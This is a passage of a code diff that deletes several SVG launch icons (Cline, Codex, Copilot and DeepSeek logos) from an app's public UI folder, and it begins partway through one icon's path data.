1184.214844 494.496582 L 1188.724854 514.147644 L 1172.456421 554.335693 L 1074.604126 578.496765 L 959.838989 601.449829 L 788.939636 641.879272 L 786.845764 643.409485 L 789.261841 646.389343 L 866.255127 653.637634 L 899.194702 655.409424 L 979.812134 655.409424 L 1129.932861 666.604187 L 1169.154419 692.537109 L 1192.671265 724.268677 L 1188.724854 748.429688 L 1128.322144 779.194641 L 1046.818848 759.865845 L 856.590759 714.604126 L 791.355774 698.335754 L 782.335693 698.335754 L 782.335693 703.731567 L 836.69812 756.885986 L 936.322205 846.845581 L 1061.073975 962.81897 L 1067.436279 991.490112 L 1051.409424 1014.120911 L 1034.496704 1011.704712 L 924.885986 929.234924 L 882.604126 892.107544 L 786.845764 811.48999 L 780.483276 811.48999 L 780.483276 819.946289 L 802.550415 852.241699 L 919.087341 1027.409424 L 925.127625 1081.127686 L 916.671204 1098.604126 L 886.469849 1109.154419 L 853.288696 1103.114136 L 785.073914 1007.355835 L 714.684631 899.516785 L 657.906067 802.872498 L 650.979858 806.81897 L 617.476624 1167.704834 L 601.771851 1186.147705 L 565.530212 1200 L 535.328857 1177.046997 L 519.302124 1139.919556 L 535.328857 1066.550537 L 554.657776 970.792053 L 570.362488 894.68457 L 584.536926 800.134277 L 592.993347 768.724976 L 592.429626 766.630859 L 585.503479 767.516968 L 514.22821 865.369263 L 405.825531 1011.865906 L 320.053711 1103.677979 L 299.516815 1111.812256 L 263.919525 1093.369263 L 267.221497 1060.429688 L 287.114136 1031.114136 L 405.825531 880.107361 L 477.422913 786.52356 L 523.651062 732.483276 L 523.328918 724.671265 L 520.590698 724.671265 L 205.288605 929.395935 L 149.154434 936.644409 L 124.993355 914.01355 L 127.973183 876.885986 L 139.409409 864.80542 L 234.201385 799.570435 L 233.879227 799.8927 Z"/>
-    </g>
-</svg>

app/ui/app/public/launch-icons/cline.svg

@@ -1,8 +0,0 @@
-<svg width="92" height="96" viewBox="0 0 92 96" xmlns="http://www.w3.org/2000/svg">
-  <g fill="#24292F">
-    <path fill-rule="evenodd" d="M65.45 16.8c10.89 0 19.71 8.86 19.71 19.8v6.6l5.74 11.46a4 4 0 0 1-.01 3.6l-5.73 11.34v6.6c0 10.94-8.82 19.8-19.71 19.8H26.02C15.13 96 6.31 87.14 6.31 76.2v-6.6L.45 58.3a4 4 0 0 1-.01-3.67l5.87-11.43v-6.6c0-10.94 8.82-19.8 19.71-19.8h39.43Zm-2.52 5.7H29.19c-9.32 0-16.87 7.56-16.87 16.88V45L7.44 54.46a4 4 0 0 0 .01 3.68L12.32 67.5v5.63c0 9.32 7.55 16.87 16.87 16.87h33.74c9.32 0 16.87-7.55 16.87-16.87V67.5l4.77-9.39a4 4 0 0 0 .01-3.61L79.8 45v-5.62c0-9.32-7.55-16.88-16.87-16.88Z"/>
-    <circle cx="45.73" cy="11.5" r="11"/>
-    <rect x="27" y="41" width="13" height="30" rx="6.5"/>
-    <rect x="51" y="41" width="13" height="30" rx="6.5"/>
-  </g>
-</svg>

app/ui/app/public/launch-icons/codex-dark.svg

@@ -1 +0,0 @@
-<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 320"><path fill="#fff" d="m297.06 130.97c7.26-21.79 4.76-45.66-6.85-65.48-17.46-30.4-52.56-46.04-86.84-38.68-15.25-17.18-37.16-26.95-60.13-26.81-35.04-.08-66.13 22.48-76.91 55.82-22.51 4.61-41.94 18.7-53.31 38.67-17.59 30.32-13.58 68.54 9.92 94.54-7.26 21.79-4.76 45.66 6.85 65.48 17.46 30.4 52.56 46.04 86.84 38.68 15.24 17.18 37.16 26.95 60.13 26.8 35.06.09 66.16-22.49 76.94-55.86 22.51-4.61 41.94-18.7 53.31-38.67 17.57-30.32 13.55-68.51-9.94-94.51zm-120.28 168.11c-14.03.02-27.62-4.89-38.39-13.88.49-.26 1.34-.73 1.89-1.07l63.72-36.8c3.26-1.85 5.26-5.32 5.24-9.07v-89.83l26.93 15.55c.29.14.48.42.52.74v74.39c-.04 33.08-26.83 59.9-59.91 59.97zm-128.84-55.03c-7.03-12.14-9.56-26.37-7.15-40.18.47.28 1.3.79 1.89 1.13l63.72 36.8c3.23 1.89 7.23 1.89 10.47 0l77.79-44.92v31.1c.02.32-.13.63-.38.83l-64.41 37.19c-28.69 16.52-65.33 6.7-81.92-21.95zm-16.77-139.09c7-12.16 18.05-21.46 31.21-26.29 0 .55-.03 1.52-.03 2.2v73.61c-.02 3.74 1.98 7.21 5.23 9.06l77.79 44.91-26.93 15.55c-.27.18-.61.21-.91.08l-64.42-37.22c-28.63-16.58-38.45-53.21-21.95-81.89zm221.26 51.49-77.79-44.92 26.93-15.54c.27-.18.61-.21.91-.08l64.42 37.19c28.68 16.57 38.51 53.26 21.94 81.94-7.01 12.14-18.05 21.44-31.2 26.28v-75.81c.03-3.74-1.96-7.2-5.2-9.06zm26.8-40.34c-.47-.29-1.3-.79-1.89-1.13l-63.72-36.8c-3.23-1.89-7.23-1.89-10.47 0l-77.79 44.92v-31.1c-.02-.32.13-.63.38-.83l64.41-37.16c28.69-16.55 65.37-6.7 81.91 22 6.99 12.12 9.52 26.31 7.15 40.1zm-168.51 55.43-26.94-15.55c-.29-.14-.48-.42-.52-.74v-74.39c.02-33.12 26.89-59.96 60.01-59.94 14.01 0 27.57 4.92 38.34 13.88-.49.26-1.33.73-1.89 1.07l-63.72 36.8c-3.26 1.85-5.26 5.31-5.24 9.06l-.04 89.79zm14.63-31.54 34.65-20.01 34.65 20v40.01l-34.65 20-34.65-20z"/></svg>

app/ui/app/public/launch-icons/codex.svg

@@ -1 +0,0 @@
-<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 320"><path d="m297.06 130.97c7.26-21.79 4.76-45.66-6.85-65.48-17.46-30.4-52.56-46.04-86.84-38.68-15.25-17.18-37.16-26.95-60.13-26.81-35.04-.08-66.13 22.48-76.91 55.82-22.51 4.61-41.94 18.7-53.31 38.67-17.59 30.32-13.58 68.54 9.92 94.54-7.26 21.79-4.76 45.66 6.85 65.48 17.46 30.4 52.56 46.04 86.84 38.68 15.24 17.18 37.16 26.95 60.13 26.8 35.06.09 66.16-22.49 76.94-55.86 22.51-4.61 41.94-18.7 53.31-38.67 17.57-30.32 13.55-68.51-9.94-94.51zm-120.28 168.11c-14.03.02-27.62-4.89-38.39-13.88.49-.26 1.34-.73 1.89-1.07l63.72-36.8c3.26-1.85 5.26-5.32 5.24-9.07v-89.83l26.93 15.55c.29.14.48.42.52.74v74.39c-.04 33.08-26.83 59.9-59.91 59.97zm-128.84-55.03c-7.03-12.14-9.56-26.37-7.15-40.18.47.28 1.3.79 1.89 1.13l63.72 36.8c3.23 1.89 7.23 1.89 10.47 0l77.79-44.92v31.1c.02.32-.13.63-.38.83l-64.41 37.19c-28.69 16.52-65.33 6.7-81.92-21.95zm-16.77-139.09c7-12.16 18.05-21.46 31.21-26.29 0 .55-.03 1.52-.03 2.2v73.61c-.02 3.74 1.98 7.21 5.23 9.06l77.79 44.91-26.93 15.55c-.27.18-.61.21-.91.08l-64.42-37.22c-28.63-16.58-38.45-53.21-21.95-81.89zm221.26 51.49-77.79-44.92 26.93-15.54c.27-.18.61-.21.91-.08l64.42 37.19c28.68 16.57 38.51 53.26 21.94 81.94-7.01 12.14-18.05 21.44-31.2 26.28v-75.81c.03-3.74-1.96-7.2-5.2-9.06zm26.8-40.34c-.47-.29-1.3-.79-1.89-1.13l-63.72-36.8c-3.23-1.89-7.23-1.89-10.47 0l-77.79 44.92v-31.1c-.02-.32.13-.63.38-.83l64.41-37.16c28.69-16.55 65.37-6.7 81.91 22 6.99 12.12 9.52 26.31 7.15 40.1zm-168.51 55.43-26.94-15.55c-.29-.14-.48-.42-.52-.74v-74.39c.02-33.12 26.89-59.96 60.01-59.94 14.01 0 27.57 4.92 38.34 13.88-.49.26-1.33.73-1.89 1.07l-63.72 36.8c-3.26 1.85-5.26 5.31-5.24 9.06l-.04 89.79zm14.63-31.54 34.65-20.01 34.65 20v40.01l-34.65 20-34.65-20z"/></svg>

app/ui/app/public/launch-icons/copilot-dark.svg

@@ -1 +0,0 @@
-<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" fill-rule="evenodd" style="flex:none;line-height:1" viewBox="0 2.5 24 19"><path d="M19.245 5.364c1.322 1.36 1.877 3.216 2.11 5.817.622 0 1.2.135 1.592.654l.73.964c.21.278.323.61.323.955v2.62c0 .339-.173.669-.453.868C20.239 19.602 16.157 21.5 12 21.5c-4.6 0-9.205-2.583-11.547-4.258-.28-.2-.452-.53-.453-.868v-2.62c0-.345.113-.679.321-.956l.73-.963c.392-.517.974-.654 1.593-.654l.029-.297c.25-2.446.81-4.213 2.082-5.52 2.461-2.54 5.71-2.851 7.146-2.864h.198c1.436.013 4.685.323 7.146 2.864zm-7.244 4.328c-.284 0-.613.016-.962.05-.123.447-.305.85-.57 1.108-1.05 1.023-2.316 1.18-2.994 1.18-.638 0-1.306-.13-1.851-.464-.516.165-1.012.403-1.044.996a65.882 65.882 0 00-.063 2.884l-.002.48c-.002.563-.005 1.126-.013 1.69.002.326.204.63.51.765 2.482 1.102 4.83 1.657 6.99 1.657 2.156 0 4.504-.555 6.985-1.657a.854.854 0 00.51-.766c.03-1.682.006-3.372-.076-5.053-.031-.596-.528-.83-1.046-.996-.546.333-1.212.464-1.85.464-.677 0-1.942-.157-2.993-1.18-.266-.258-.447-.661-.57-1.108-.32-.032-.64-.049-.96-.05zm-2.525 4.013c.539 0 .976.426.976.95v1.753c0 .525-.437.95-.976.95a.964.964 0 01-.976-.95v-1.752c0-.525.437-.951.976-.951zm5 0c.539 0 .976.426.976.95v1.753c0 .525-.437.95-.976.95a.964.964 0 01-.976-.95v-1.752c0-.525.437-.951.976-.951zM7.635 5.087c-1.05.102-1.935.438-2.385.906-.975 1.037-.765 3.668-.21 4.224.405.394 1.17.657 1.995.657h.09c.649-.013 1.785-.176 2.73-1.11.435-.41.705-1.433.675-2.47-.03-.834-.27-1.52-.63-1.813-.39-.336-1.275-.482-2.265-.394zm6.465.394c-.36.292-.6.98-.63 1.813-.03 1.037.24 2.06.675 2.47.968.957 2.136 1.104 2.776 1.11h.044c.825 0 1.59-.263 1.995-.657.555-.556.765-3.187-.21-4.224-.45-.468-1.335-.804-2.385-.906-.99-.088-1.875.058-2.265.394zM12 7.615c-.24 0-.525.015-.84.044.03.16.045.336.06.526l-.001.159a2.94 2.94 0 01-.014.25c.225-.022.425-.027.612-.028h.366c.187 0 .387.006.612.028-.015-.146-.015-.277-.015-.409.015-.19.03-.365.06-.526a9.29 9.29 0 00-.84-.044z" fill="white"/></svg>

app/ui/app/public/launch-icons/copilot.svg

@@ -1 +0,0 @@
-<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" fill-rule="evenodd" style="flex:none;line-height:1" viewBox="0 2.5 24 19"><path d="M19.245 5.364c1.322 1.36 1.877 3.216 2.11 5.817.622 0 1.2.135 1.592.654l.73.964c.21.278.323.61.323.955v2.62c0 .339-.173.669-.453.868C20.239 19.602 16.157 21.5 12 21.5c-4.6 0-9.205-2.583-11.547-4.258-.28-.2-.452-.53-.453-.868v-2.62c0-.345.113-.679.321-.956l.73-.963c.392-.517.974-.654 1.593-.654l.029-.297c.25-2.446.81-4.213 2.082-5.52 2.461-2.54 5.71-2.851 7.146-2.864h.198c1.436.013 4.685.323 7.146 2.864zm-7.244 4.328c-.284 0-.613.016-.962.05-.123.447-.305.85-.57 1.108-1.05 1.023-2.316 1.18-2.994 1.18-.638 0-1.306-.13-1.851-.464-.516.165-1.012.403-1.044.996a65.882 65.882 0 00-.063 2.884l-.002.48c-.002.563-.005 1.126-.013 1.69.002.326.204.63.51.765 2.482 1.102 4.83 1.657 6.99 1.657 2.156 0 4.504-.555 6.985-1.657a.854.854 0 00.51-.766c.03-1.682.006-3.372-.076-5.053-.031-.596-.528-.83-1.046-.996-.546.333-1.212.464-1.85.464-.677 0-1.942-.157-2.993-1.18-.266-.258-.447-.661-.57-1.108-.32-.032-.64-.049-.96-.05zm-2.525 4.013c.539 0 .976.426.976.95v1.753c0 .525-.437.95-.976.95a.964.964 0 01-.976-.95v-1.752c0-.525.437-.951.976-.951zm5 0c.539 0 .976.426.976.95v1.753c0 .525-.437.95-.976.95a.964.964 0 01-.976-.95v-1.752c0-.525.437-.951.976-.951zM7.635 5.087c-1.05.102-1.935.438-2.385.906-.975 1.037-.765 3.668-.21 4.224.405.394 1.17.657 1.995.657h.09c.649-.013 1.785-.176 2.73-1.11.435-.41.705-1.433.675-2.47-.03-.834-.27-1.52-.63-1.813-.39-.336-1.275-.482-2.265-.394zm6.465.394c-.36.292-.6.98-.63 1.813-.03 1.037.24 2.06.675 2.47.968.957 2.136 1.104 2.776 1.11h.044c.825 0 1.59-.263 1.995-.657.555-.556.765-3.187-.21-4.224-.45-.468-1.335-.804-2.385-.906-.99-.088-1.875.058-2.265.394zM12 7.615c-.24 0-.525.015-.84.044.03.16.045.336.06.526l-.001.159a2.94 2.94 0 01-.014.25c.225-.022.425-.027.612-.028h.366c.187 0 .387.006.612.028-.015-.146-.015-.277-.015-.409.015-.19.03-.365.06-.526a9.29 9.29 0 00-.84-.044z"/></svg>

app/ui/app/public/launch-icons/deepseek-harness.svg

@@ -1,4 +0,0 @@
-<svg xmlns="http://www.w3.org/2000/svg" width="50" height="50" viewBox="0 0 50 50" fill="none">
-  <style>@media (prefers-color-scheme: dark) { path { fill: #fff; } }</style>
-  <path d="M48.8354 10.0479C48.3232 9.79199 48.1025 10.2798 47.8032 10.5278C46.7793 11.624 45.9048 12.1597 44.7622 12.0957C43.0923 12 41.666 12.5356 40.4058 13.8398C40.1377 12.2319 39.2476 11.272 37.8926 10.6558C36.4668 10.0156 35.9702 9.31982 35.356 7.72754C35.2456 7.3999 35.1353 7.06396 34.7651 7.00781C34.3633 6.94385 34.2056 7.2876 34.0479 7.57568C33.418 8.75195 33.1733 10.0479 33.1973 11.3599C33.2524 14.312 34.4736 16.6641 36.8999 18.3359C37.1758 18.5278 37.2466 18.7197 37.1597 19C36.9946 19.5757 36.7974 20.1357 36.624 20.7119C36.5137 21.0801 36.3486 21.1597 35.9624 21C32.4092 19.4878 30.0381 16.2319 27.2334 13.52C26.7764 13.1758 26.3193 12.856 25.8467 12.5518C23.8618 10.584 26.1069 8.96777 26.627 8.77588C27.1704 8.57568 26.8159 7.8877 25.0591 7.896C22.8691 7.90381 20.4507 9.06396 18.7095 9.58398C16.8501 9.22363 14.9199 9.14355 12.9033 9.37598C5.30859 10.2397 1.15674 16.4717 1.30664 27.2559C2.11768 31.9521 4.46582 35.8398 8.07373 38.8799C11.8159 42.0322 16.1255 43.5762 21.041 43.2803C24.0269 43.104 27.3516 42.6963 31.1016 39.4561C33.0396 40.1279 37.1758 40.208 38.1211 40.0078C39.6021 39.688 39.4995 38.2881 38.9639 38.0322C34.623 35.9678 35.5762 36.8081 34.71 36.1279C36.9155 33.4639 40.2402 30.6958 41.54 21.728C41.6426 21.0161 41.5557 20.5679 41.54 19.9917C41.5322 19.6396 41.6108 19.5039 42.0049 19.4639C46.6924 18.9116 49.064 15.9038 49.3315 11.2559C49.3711 10.7837 49.3237 10.2959 48.8354 10.0479ZM24.3262 37.8398C20.1196 34.4639 18.0791 33.3521 17.2358 33.3999C16.4482 33.4482 16.5898 34.3682 16.7632 34.9678C16.9443 35.5601 17.1812 35.9683 17.5117 36.4878C17.7402 36.832 17.8979 37.3442 17.2832 37.728C15.9282 38.584 13.5728 37.4399 13.4624 37.3838C7.97949 34.0879 4.48926 28.9282 4.19775 21.3677C4.1582 20.5757 4.38672 20.2959 5.15869 20.1519C11.8945 18.8799 17.165 22.0879 19.2529 25.7759C23.5381 30.104 25.335 35.1523 30.479 39.104C28.8643 39.2881 26.1699 39.3281 24.3262 37.8398ZM26.3433 24.6001C26.3433 24.248 26.6191 23.9678 26.9658 23.9678C27.3042 23.9678 27.5801 24.248 27.5801 24.6001C27.5801 24.9521 27.3042 25.2319 26.9575 25.2319C26.6108 25.2319 26.3433 24.9521 26.3433 24.6001ZM32.6064 27.8799C31.6372 28.2881 30.6289 28.3042 29.8096 27.688C28.6987 26.8555 28.6279 25.7759 28.7305 24.9199C28.8721 24.248 28.7144 23.8159 28.2495 23.4238C27.8716 23.104 27.3911 23.0161 26.8633 23.0161C26.666 23.0161 26.4849 22.9277 26.3511 22.856C25.8467 22.5762 25.9805 22.1758 26.5088 21.688C28.0996 20.7598 29.6362 21.9917 30.834 23.3281C31.6216 24.2559 32.8901 26.312 33.1104 26.9521C33.2446 27.3521 33.0713 27.6802 32.6064 27.8799Z" fill="#000"/>
-</svg>